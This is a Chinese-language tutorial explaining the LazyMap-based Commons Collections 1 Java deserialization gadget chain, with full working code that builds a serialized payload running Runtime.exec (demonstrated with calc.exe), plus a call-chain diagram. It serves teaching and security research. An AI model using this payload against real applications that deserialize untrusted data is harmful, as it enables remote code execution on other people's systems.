Java反序列化漏洞:LazyMap版CC1链利用原理与实现
Java反序列化漏洞:LazyMap版CC1链利用原理与实现
在Java反序列化漏洞利用中,CC1链是一种常见的攻击向量。其核心机制在于利用Transformer接口的transform方法,通过反射调用链执行任意命令。
CC1链的关键在于找到能够触发transform方法的调用点。在LazyMap类中,get方法会在键值不存在时调用factor对象的transform方法。通过构造特定的transformer链,我们可以实现命令执行。
基础构造原理
首先,我们需要构造一个transformer链,该链能够通过反射调用Runtime类的exec方法执行系统命令。以下是一个基础实现示例:
// 创建transformer数组,构建反射调用链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(java.lang.Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"}),
};
// 将transformer链组合
Transformer chainedTransformer = new ChainedTransformer(transformers);
// 创建内部Map并使用LazyMap装饰
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer);
// 触发get方法,执行命令
lazyMap.get("任意键值");
上述代码执行后,将弹出计算器程序,证明命令执行成功。
调用链分析
接下来,我们需要找到哪个类的哪个方法能够调用get方法。在ysoserial工具中,开发者选择了AnnotationInvocationHandler类的invoke方法作为调用点。
AnnotationInvocationHandler类实现了InvocationHandler接口,可以作为动态代理的处理器。当代理对象的方法被调用时,会转发到invoke方法。通过将memberValues设置为LazyMap对象,我们可以在invoke方法中触发get方法。
动态代理机制利用
为了触发AnnotationInvocationHandler的invoke方法,我们需要使用动态代理机制。当代理对象的方法被调用时,会转发到处理器的invoke方法。需要注意的是,要避开toString、hashCode等特殊方法。
以下是利用动态代理构造payload的代码示例:
// 创建transformer链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(java.lang.Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"}),
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
// 创建LazyMap
Map innerMap = new HashMap();
Map lazyMap = (LazyMap) LazyMap.decorate(innerMap, chainedTransformer);
// 创建AnnotationInvocationHandler实例
Class annotationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = annotationHandlerClass.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
// 创建处理器并设置memberValues为LazyMap
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, lazyMap);
// 创建动态代理
Map proxyMap = (Map) Proxy.newProxyInstance(
Map.class.getClassLoader(),
new Class[]{Map.class},
handler
);
// 调用clear方法,触发invoke
proxyMap.clear();
反序列化自动触发
在反序列化过程中,我们需要让调用链自动执行。通过分析LazyMap和AnnotationInvocationHandler的readObject方法,我们发现它们都会调用entrySet方法。
因此,我们可以构造一个完整的payload,在反序列化时自动触发整个调用链:
public class LazyMapCC1Exploit {
public static void main(String[] args) throws Exception {
// 创建transformer链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(java.lang.Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"}),
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
// 创建LazyMap
Map innerMap = new HashMap();
Map lazyMap = (LazyMap) LazyMap.decorate(innerMap, chainedTransformer);
// 创建AnnotationInvocationHandler实例
Class annotationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = annotationHandlerClass.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
// 创建动态代理
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(
Map.class.getClassLoader(),
new Class[]{Map.class},
handler
);
// 创建最终的payload对象
Object payload = constructor.newInstance(Target.class, proxyMap);
// 序列化
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(outputStream);
objectOutputStream.writeObject(payload);
objectOutputStream.close();
// 反序列化
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(outputStream.toByteArray()));
Object object = objectInputStream.readObject();
}
}
调用链流程图
整个调用链的执行流程可以表示为:
+------------------------+ +-------------------------+
| AnnotationInvocation | | Dynamic Proxy (Map) |
| Handler.readObject() | |-------------------------|
|-------------------------| 调用 | memberValues.entrySet() |
| memberValues (代理Map) | -----> | → 转发到InvocationHandler|
+------------------------+ +-------------------------+
| ↓
| +-------------------------+
| | InvocationHandler.invoke|
| |-------------------------|
| | LazyMap.get("entrySet") |
| +-------------------------+
| ↓
| +-------------------------+
+------------------------| ChainedTransformer链 |
|-------------------------|
| 反射调用Runtime.exec() |
+-------------------------+
技术要点总结
相对于TransformedMap版本通过setValue触发checkSetValue机制,LazyMap版本使用entrySet触发invoke,再触发get,中间使用了动态代理作为桥梁。这种利用方式在Java反序列化漏洞中非常巧妙,对于类似使用invoke触发过程的漏洞链具有参考价值。
关键点包括:
- 利用LazyMap的get方法在键值不存在时调用transform方法
- 通过AnnotationInvocationHandler的invoke方法作为调用点
- 使用动态代理机制转发方法调用到invoke方法
- 利用readObject方法中的entrySet调用实现反序列化自动触发